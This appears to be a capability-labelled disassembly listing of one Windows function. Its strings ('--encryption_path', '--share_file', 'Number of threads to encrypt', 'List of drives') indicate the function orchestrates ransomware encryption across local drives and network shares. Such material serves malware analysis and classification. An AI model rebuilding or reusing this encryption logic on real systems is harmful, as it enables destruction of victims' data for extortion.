Function at 0x140047d40
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x5b0]
sub rsp, 0x6b0
mov rax, qword [0x1400b9328]
xor rax, rsp
mov qword [rbp + 0x5a8], rax
mov rdi, rdx
mov ebx, ecx
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0x4a0], xmm0
movups xmmword [rbp + 0x4b0], xmm0
movups xmmword [rbp + 0x4c0], xmm0
movups xmmword [rbp + 0x4d0], xmm0
movups xmmword [rbp + 0x4e0], xmm0
movups xmmword [rbp + 0x4f0], xmm0
movups xmmword [rbp + 0x500], xmm0
movdqa xmmword [rbp + 0x490], xmm0
mov qword [rbp + 0x4a0], r12
mov qword [rbp + 0x4a8], r12
mov qword [rbp + 0x4b0], r12
lea ecx, [r12 + 0x60]
call fcn.140067584
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x4a8], rax
mov qword [rbp + 0x4b8], r12
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x4c0], xmm0
mov qword [rbp + 0x4d0], r12
mov qword [rbp + 0x4d8], r12
lea ecx, [r12 + 0x40]
call fcn.140067584
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x4d0], rax
mov qword [rbp + 0x4e0], r12
mov qword [rbp + 0x4e8], r12
lea ecx, [r12 + 0x40]
call fcn.140067584
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x4e0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x4f0], xmm0
mov qword [rbp + 0x500], r12
mov qword [rbp + 0x508], 0xf
mov byte [rbp + 0x4f0], r12b
mov r8, rdi
mov edx, ebx
lea rcx, [rbp + 0x490]
call fcn.140046ee0
lea rax, [0x1400a8e80]
mov qword [rbp - 0x50], rax
lea rax, str.__encryption_path
mov qword [rbp - 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rbp + 0x40], xmm0
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x490]
call fcn.1400479c0
nop
lea rdx, [rbp + 0x3d0]
mov rcx, rax
call fcn.1400491e0
nop
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea rdi, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx + 0x1c0], rdi
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x1bc], edx
lea rcx, [rbp + 0x1d0]
call fcn.140049a90
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x1c0], r14
mov rax, qword [rbp + 0x1c0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x1bc], edx
lea rbx, vtable.std::ios_base.0
mov qword [rbp + 0x250], rbx
lea rcx, [rbp + 0x250]
call fcn.14005c6b0
nop
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
mov r13d, 2
mov r8d, r13d
lea rdx, [0x1400a8e9c]
lea rcx, [rbp]
call fcn.140036e30
nop
lea rdx, [rbp]
lea rcx, [rbp + 0x490]
call fcn.140047840
movzx esi, al
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x140047fea
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140047fe5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140048fe1
call fcn.140067810
lea rax, [0x1400a8ea0]
mov qword [rbp - 0x40], rax
lea rax, str.__share_file
mov qword [rbp - 0x38], rax
lea rax, [rbp - 0x40]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rbp + 0x50], xmm0
lea r8, [rbp + 0x50]
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x490]
call fcn.1400479c0
nop
lea rdx, [rbp + 0x408]
mov rcx, rax
call fcn.1400491e0
nop
mov rax, qword [rbp + 0x2b0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x2b0], rdi
mov rax, qword [rbp + 0x2b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0x2ac], edx
lea rcx, [rbp + 0x2c0]
call fcn.140049a90
mov rax, qword [rbp + 0x2b0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x2b0], r14
mov rax, qword [rbp + 0x2b0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x2ac], edx
mov qword [rbp + 0x340], rbx
lea rcx, [rbp + 0x340]
call fcn.14005c6b0
nop
lea rax, [0x1400a8eb8]
mov qword [rbp - 0x30], rax
lea rax, str.__encryption_percent
mov qword [rbp - 0x28], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rbp + 0x60], xmm0
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0xd0]
lea rcx, [rbp + 0x490]
call fcn.1400479c0
nop
lea rdx, [rbp + 0x548]
mov rcx, rax
call fcn.1400491e0
nop
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xd0], rdi
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rbp + rcx + 0xcc], edx
lea rcx, [rbp + 0xe0]
call fcn.140049a90
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0xd0], r14
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0xcc], edx
mov qword [rbp + 0x160], rbx
lea rcx, [rbp + 0x160]
call fcn.14005c6b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
mov r8d, 0xa
lea rdx, str._localonly
lea rcx, [rbp + 0x20]
call fcn.140036e30
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x490]
call fcn.140047840
mov byte [rbp + 0x3b0], al
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x1400481fb
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400481f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140048fe7
call fcn.140067810
mov r15d, 0x32
mov dword [rbp + 0x3b4], r15d
cmp qword [rbp + 0x558], 0
je 0x140048266
call fcn.140075a04
mov rdi, rax
lea rbx, [rbp + 0x548]
cmp qword [rbp + 0x560], 0x10
cmovae rbx, qword [rbp + 0x548]
mov dword [rax], r12d
lea r8d, [r15 - 0x28]
lea rdx, [rbp + 0x3a8]
mov rcx, rbx
call fcn.1400763d0
mov r15d, eax
mov dword [rbp + 0x3b4], eax
cmp rbx, qword [rbp + 0x3a8]
je 0x140048fed
cmp dword [rdi], 0x22
je 0x140048ffa
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3f0], xmm0
mov qword [rbp + 0x400], rax
lea rcx, [rbp + 0x3f0]
call fcn.140058580
nop
test sil, sil
je 0x140048592
lea rdx, str.List_of_drives
lea rcx, [0x1400bdb70]
call fcn.14003ebb0
mov rcx, rax
call fcn.140045ae0
mov rdi, qword [rbp + 0x3f8]
mov rbx, qword [rbp + 0x3f0]
cmp rbx, rdi
je 0x1400482ee
nop dword [rax]
mov rdx, rbx
cmp qword [rbx + 0x18], 8
jb 0x1400482cd
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [0x1400bdb70]
call fcn.140040c80
mov rcx, rax
call fcn.140045ae0
add rbx, 0x28
cmp rbx, rdi
jne 0x1400482c0
mov esi, r12d
mov rcx, qword [rbp + 0x3f0]
test rcx, rcx
je 0x14004837c
mov rdx, qword [rbp + 0x3f8]
call fcn.14004aa40
mov rcx, qword [rbp + 0x400]
mov r8, qword [rbp + 0x3f0]
sub rcx, r8
movabs rax, 0x6666666666666667
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*4]
shl rdx, 3
mov rax, r8
cmp rdx, 0x1000
jb 0x140048362
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049007
mov rcx, r8
call fcn.140067810
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3f0], xmm0
mov qword [rbp + 0x400], r12
mov rdx, qword [rbp + 0x560]
cmp rdx, 0x10
jb 0x1400483bd
inc rdx
mov rcx, qword [rbp + 0x548]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400483b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049019
call fcn.140067810
mov qword [rbp + 0x558], r12
mov qword [rbp + 0x560], 0xf
mov byte [rbp + 0x548], 0
mov rdx, qword [rbp + 0x420]
cmp rdx, 0x10
jb 0x140048417
inc rdx
mov rcx, qword [rbp + 0x408]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048412
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004901f
call fcn.140067810
mov qword [rbp + 0x418], r12
mov qword [rbp + 0x420], 0xf
mov byte [rbp + 0x408], 0
mov rdx, qword [rbp + 0x3e8]
cmp rdx, 0x10
jb 0x140048471
inc rdx
mov rcx, qword [rbp + 0x3d0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004846c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049025
call fcn.140067810
mov qword [rbp + 0x3e0], r12
mov qword [rbp + 0x3e8], 0xf
mov byte [rbp + 0x3d0], 0
mov rdx, qword [rbp + 0x508]
cmp rdx, 0x10
jb 0x1400484cb
inc rdx
mov rcx, qword [rbp + 0x4f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400484c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140048fdb
call fcn.140067810
mov qword [rbp + 0x500], r12
mov qword [rbp + 0x508], 0xf
mov byte [rbp + 0x4f0], 0
mov r8, qword [rbp + 0x4e0]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x4e0]
lea rcx, [rbp + 0x4e0]
call fcn.14004a560
mov edx, 0x40
mov rcx, qword [rbp + 0x4e0]
call fcn.140067810
mov r8, qword [rbp + 0x4d0]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x4d0]
call fcn.14004a560
mov edx, 0x40
mov rcx, qword [rbp + 0x4d0]
call fcn.140067810
lea rcx, [rbp + 0x4b8]
call fcn.140049400
lea rcx, [rbp + 0x4a8]
call fcn.140049470
lea rcx, [rbp + 0x490]
call fcn.140049400
mov eax, esi
mov rcx, qword [rbp + 0x5a8]
xor rcx, rsp
call fcn.140067480
mov rbx, qword [rsp + 0x700]
add rsp, 0x6b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14005cedc
nop
mov rbx, rax
call fcn.14005cec0
cmp rbx, 0x989680
jne 0x1400485af
imul rbx, rax, 0x64
jmp 0x1400485cb
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
lea rbx, [rax + rcx]
call fcn.1400505d0
call fcn.1400529e0
call fcn.140053b30
lea rcx, [rbp + 0x578]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14d, dword [rbp + 0x598]
test r14d, r14d
je 0x1400482ee
mov ecx, 0x30
call fcn.140067584
mov qword [rsp + 0x58], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov rcx, rax
call fcn.14005e290
mov rdi, rax
mov qword [rsp + 0x58], rax
test rax, rax
je 0x1400482ee
mov r9b, 1
lea r8, [0x1400b9fa0]
mov edx, 0x20e
mov rcx, rax
call fcn.14005ed10
test eax, eax
jne 0x1400482ee
mov qword [rbp + 0x3a0], rdi
cmp r14d, 4
jg 0x140048664
cmp r14d, 1
cmove r14d, r13d
add r14d, r14d
imul ecx, r14d, 0x1e
mov eax, 0x51eb851f
imul ecx
mov esi, edx
sar esi, 5
mov ecx, esi
shr ecx, 0x1f
add esi, ecx
lea ecx, [r14 + r14*4]
add ecx, ecx
mov eax, 0x51eb851f
imul ecx
mov edi, edx
sar edi, 5
mov eax, edi
shr eax, 0x1f
add edi, eax
mov r12d, 1
cmove edi, r12d
sub r14d, edi
sub r14d, esi
mov dword [rsp + 0x50], r14d
lea rdx, str.Number_of_threads_to_folder_parsers_
lea rcx, [0x1400bd9f0]
call fcn.14003e560
mov edx, esi
mov rcx, rax
call fcn.14003a010
mov rcx, rax
call fcn.14003e850
lea rdx, str.Number_of_threads_to_root_folder_parsers_
lea rcx, [0x1400bd9f0]
call fcn.14003e560
mov edx, edi
mov rcx, rax
call fcn.14003a010
mov rcx, rax
call fcn.14003e850
lea rdx, str.Number_of_threads_to_encrypt_
lea rcx, [0x1400bd9f0]
call fcn.14003e560
mov edx, r14d
mov rcx, rax
call fcn.14003a010
mov rcx, rax
call fcn.14003e850
mov ecx, 0x180
call fcn.140067584
mov r14, rax
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov dword [rax + 8], r12d
mov dword [rax + 0xc], r12d
lea rax, vtable.std::_Ref_count_obj2_class_ThreadPool_.0
mov qword [r14], rax
lea r12, [r14 + 0x10]
mov r8d, edi
mov edx, esi
mov rcx, r12
call fcn.1400555b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x568], xmm0
mov qword [rbp + 0x568], r12
mov qword [rbp + 0x570], r14
mov r13d, 0xffffffff
test r12, r12
je 0x1400487e6
mov rax, qword [r12 + 8]
test rax, rax
je 0x140048788
cmp dword [rax + 8], 0
jne 0x1400487e6
lock inc dword [r14 + 8]
lock inc dword [r14 + 0xc]
mov qword [r12], r12
mov rcx, qword [r12 + 8]
mov qword [r12 + 8], r14
test rcx, rcx
je 0x1400487b8
mov eax, r13d
lock xadd dword [rcx + 0xc], eax
cmp eax, 1
jne 0x1400487b8
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov eax, r13d
lock xadd dword [r14 + 8], eax
cmp eax, 1
jne 0x1400487e6
mov rax, qword [r14]
mov rcx, r14
call qword [rax]
mov eax, r13d
lock xadd dword [r14 + 0xc], eax
cmp eax, 1
jne 0x1400487e6
mov rax, qword [r14]
mov rcx, r14
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3c0], xmm0
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x3c0]
call fcn.14004a440
nop
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x530], xmm1
xor edi, edi
mov qword [rbp + 0x540], rdi
cmp qword [rbp + 0x418], rdi
je 0x1400489fc
lea r8, [rbp + 0x408]
cmp qword [rbp + 0x420], 0x10
cmovae r8, qword [rbp + 0x408]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, dword [rbp + 0x418]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
test eax, eax
jne 0x140048880
movups xmmword [rbp + 0x510], xmm0
mov qword [rbp + 0x520], rdi
mov qword [rbp + 0x528], 7
mov word [rbp + 0x510], di
jmp 0x140048929
movups xmmword [rbp + 0x428], xmm0
mov qword [rbp + 0x438], rdi
mov qword [rbp + 0x440], rdi
movsxd r8, eax
xor edx, edx
lea rcx, [rbp + 0x428]
call fcn.14003f070
lea rcx, [rbp + 0x428]
cmp qword [rbp + 0x440], 8
cmovae rcx, qword [rbp + 0x428]
lea r8, [rbp + 0x408]
cmp qword [rbp + 0x420], 0x10
cmovae r8, qword [rbp + 0x408]
mov eax, dword [rbp + 0x438]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0x418]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movups xmm0, xmmword [rbp + 0x428]
movups xmmword [rbp + 0x510], xmm0
movups xmm1, xmmword [rbp + 0x438]
movups xmmword [rbp + 0x520], xmm1
mov qword [rbp + 0x438], rdi
mov qword [rbp + 0x440], 7
mov word [rbp + 0x428], di
lea rdx, [rbp + 0x530]
lea rcx, [rbp + 0x510]
call fcn.140042e90
test al, al
jne 0x1400489b6
lea rdx, str.Failed_to_read_share_files
lea rcx, [0x1400bd9f0]
call fcn.14003e560
mov rcx, rax
call fcn.14003e850
nop
mov rdx, qword [rbp + 0x528]
cmp rdx, 8
jb 0x1400489a2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x510]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004899d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004900d
call fcn.140067810
mov rdi, qword [rbp + 0x3c8]
mov esi, 1
xor r12d, r12d
jmp 0x140048f5a
mov rdx, qword [rbp + 0x528]
cmp rdx, 8
jb 0x1400489fc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x510]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400489f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14004900d
call fcn.140067810
cmp qword [rbp + 0x3e0], 0
je 0x140048cee
lea r8, [rbp + 0x3d0]
cmp qword [rbp + 0x3e8], 0x10
cmovae r8, qword [rbp + 0x3d0]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, dword [rbp + 0x3e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
test eax, eax
jne 0x140048a5b
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], rdi
mov qword [rbp - 0x60], 7
mov word [rbp - 0x78], di
jmp 0x140048afe
movups xmmword [rbp + 0x448], xmm0
mov qword [rbp + 0x458], rdi
mov qword [rbp + 0x460], rdi
movsxd r8, eax
xor edx, edx
lea rcx, [rbp + 0x448]
call fcn.14003f070
lea rcx, [rbp + 0x448]
cmp qword [rbp + 0x460], 8
cmovae rcx, qword [rbp + 0x448]
lea r8, [rbp + 0x3d0]
cmp qword [rbp + 0x3e8], 0x10
cmovae r8, qword [rbp + 0x3d0]
mov eax, dword [rbp + 0x458]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0x3e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movups xmm0, xmmword [rbp + 0x448]
movups xmmword [rbp - 0x78], xmm0
movups xmm1, xmmword [rbp + 0x458]
movups xmmword [rbp - 0x68], xmm1
mov qword [rbp + 0x458], rdi
mov qword [rbp + 0x460], 7
mov word [rbp + 0x448], di
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x3b4]
call fcn.140043b40
nop
mov rdx, qword [rbp - 0x60]
cmp rdx, 8
jb 0x140048b4f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140048b4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140049013
call fcn.140067810
cmp byte [rbp + 0x3b4], 0
jne 0x140048e8c
movzx esi, byte [rbp + 0x3b5]
cmp byte [rbp + 0x3b0], 0
je 0x140048b75
test sil, sil
jne 0x140048e8c
lea r8, [rbp + 0x3d0]
cmp qword [rbp + 0x3e8], 0x10
cmovae r8, qword [rbp + 0x3d0]
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r9d, dword [rbp + 0x3e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
test eax, eax
jne 0x140048bd3
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], 7
mov word [rsp + 0x68], di
movups xmm0, xmmword [rsp + 0x78]
movups xmm1, xmmword [rsp + 0x68]
jmp 0x140048c78
movups xmmword [rbp + 0x468], xmm0
mov qword [rbp + 0x478], rdi
mov qword [rbp + 0x480], rdi
movsxd r8, eax
xor edx, edx
lea rcx, [rbp + 0x468]
call fcn.14003f070
lea rcx, [rbp + 0x468]
cmp qword [rbp + 0x480], 8
cmovae rcx, qword [rbp + 0x468]
lea r8, [rbp + 0x3d0]
cmp qword [rbp + 0x3e8], 0x10
cmovae r8, qword [rbp + 0x3d0]
mov eax, dword [rbp + 0x478]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, dword [rbp + 0x3e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movups xmm1, xmmword [rbp + 0x468]
movups xmmword [rsp + 0x68], xmm1
movups xmm0, xmmword [rbp + 0x478]
movups xmmword [rsp + 0x78], xmm0
mov qword [rbp + 0x478], rdi
mov qword [rbp + 0x480], 7
mov word [rbp + 0x468], di
movups xmmword [rbp + 0x70], xmm1
movups xmmword [rbp + 0x80], xmm0
mov qword [rsp + 0x78], rdi
mov qword [rbp - 0x80], 7
mov word [rsp + 0x68], di
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x20], xmm0
mov rdi, qword [rbp + 0x3c8]
test rdi, rdi
je 0x140048cbb
lock inc dword [rdi + 8]
mov rdi, qword [rbp + 0x3c8]
movzx esi, byte [rbp + 0x3b5]
movaps xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp - 0x20], xmm0
mov byte [rsp + 0x28], sil
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x3a0]
lea r8, [rbp + 0x70]
lea rdx, [rbp - 0x20]
mov rcx, r12
call fcn.140055730
nop
jmp 0x140048e93
mov rsi, qword [rbp + 0x530]
mov rax, qword [rbp + 0x538]
cmp rsi, rax
je 0x140048dc9
mov rdi, qword [rbp + 0x3c8]
mov r14, rax
movzx r13d, byte [rbp + 0x3b0]
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x3b0]
call fcn.140043b40
cmp byte [rbp + 0x3b0], 0
jne 0x140048dac
movzx r15d, byte [rbp + 0x3b1]
test r13b, r13b
je 0x140048d4a
test r15b, r15b
jne 0x140048dac
mov rdx, rsi
lea rcx, [rbp + 0x90]
call fcn.140049d00
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x10], xmm0
test rdi, rdi
je 0x140048d79
lock inc dword [rdi + 8]
mov rdi, qword [rbp + 0x3c8]
movzx r15d, byte [rbp + 0x3b1]
movaps xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rbp - 0x10], xmm0
mov byte [rsp + 0x28], r15b
mov r15d, dword [rbp + 0x3b4]
mov dword [rsp + 0x20], r15d
lea r9, [rbp + 0x3a0]
mov r8, rax
lea rdx, [rbp - 0x10]
mov rcx, r12
call fcn.140055730
add rsi, 0x20
cmp rsi, r14
jne 0x140048d20
mov r14, qword [rsp + 0x60]
mov r13d, 0xffffffff
jmp 0x140048e93
mov rax, qword [rbp + 0x3f8]
mov qword [rsp + 0x30], rax
mov rsi, qword [rbp + 0x3f0]
cmp rsi, rax
je 0x140048e8c
add rsi, 0x20
mov rdi, qword [rbp + 0x3c8]
mov r14d, dword [rbp + 0x3b4]
movzx r13d, byte [rbp + 0x3b0]
mov rcx, rax
cmp byte [rsi + 1], 0
jne 0x140048e72
test r13b, r13b
je 0x140048e12
cmp byte [rsi], 0
jne 0x140048e72
movzx r15d, byte [rsi]
lea rdx, [rsi - 0x20]
lea rcx, [rbp + 0xb0]
call fcn.140049d00
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x40], xmm0
test rdi, rdi
je 0x140048e3f
lock inc dword [rdi + 8]
mov rdi, qword [rbp + 0x3c8]
movaps xmm0, xmmword [rbp + 0x3c0]
movdqa xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x28], r15b
mov dword [rsp + 0x20], r14d
lea r9, [rbp + 0x3a0]
mov r8, rax
lea rdx, [rsp + 0x40]
mov rcx, r12
call fcn.140055730
mov rcx, qword [rsp + 0x30]
add rsi, 0x28
lea rax, [rsi - 0x20]
cmp rax, rcx
jne 0x140048e02
mov r14, qword [rsp + 0x60]
mov r13d, 0xffffffff
jmp 0x140048e93
mov rdi, qword [rbp + 0x3c8]
cmp dword [r12 + 0x34], 0
je 0x140048ea5
mov rcx, qword [r12 + 0x20]
call fcn.1400553f0
mov rcx, qword [r12 + 0x10]
call fcn.1400553f0
mov rsi, qword [rbp + 0x3c0]
cmp dword [rsi + 0x34], 0
je 0x140048ec5
mov rcx, qword [rsi + 0x20]
call fcn.1400553f0
mov rcx, qword [rsi + 0x10]
call fcn.1400553f0
mov rcx, qword [rsp + 0x58]
call fcn.14005ec80
xor edx, edx
mov rcx, qword [rsp + 0x58]
call fcn.140067810
call fcn.14005cedc
mov rsi, rax
call fcn.14005cec0
cmp rsi, 0x989680
jne 0x140048f00
imul rcx, rax, 0x64
jmp 0x140048f1b
cqo
idiv rsi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rsi
add rcx, rax
sub rcx, rbx
movabs rax, 0x431bde82d7b634db
imul rcx
sar rdx, 0x12
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [0x1400bd9f0]
call fcn.140049b00
mov rcx, rax
lea rdx, [0x1400a8f8c]
call fcn.14003e560
xor r12d, r12d
mov esi, r12d
lea rcx, [rbp + 0x530]
call fcn.140045380
nop
test rdi, rdi
je 0x140048fa3
mov eax, r13d
lock xadd dword [rdi + 8], eax
cmp eax, 1
jne 0x140048fa3
mov rbx, qword [rbp + 0x3c8]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax]
mov eax, r13d
lock xadd dword [rbx + 0xc], eax
cmp eax, 1
jne 0x140048fa3
mov rcx, qword [rbp + 0x3c8]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov eax, r13d
lock xadd dword [r14 + 8], eax
cmp eax, 1
jne 0x1400482f1
mov rax, qword [r14]
mov rcx, r14
call qword [rax]
lock xadd dword [r14 + 0xc], r13d
cmp r13d, 1
jne 0x1400482f1
mov rax, qword [r14]
mov rcx, r14
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x1400482f1
call fcn.14006e250
nop
call fcn.14006e250
nop
call fcn.14006e250
int3
lea rcx, str.invalid_stoi_argument
call fcn.140059740
int3
lea rcx, str.stoi_argument_out_of_range
call fcn.140059788
int3
call fcn.14006e250
nop
call fcn.14006e250
int3
call fcn.14006e250
nop
call fcn.14006e250
nop
call fcn.14006e250
nop
call fcn.14006e250
int3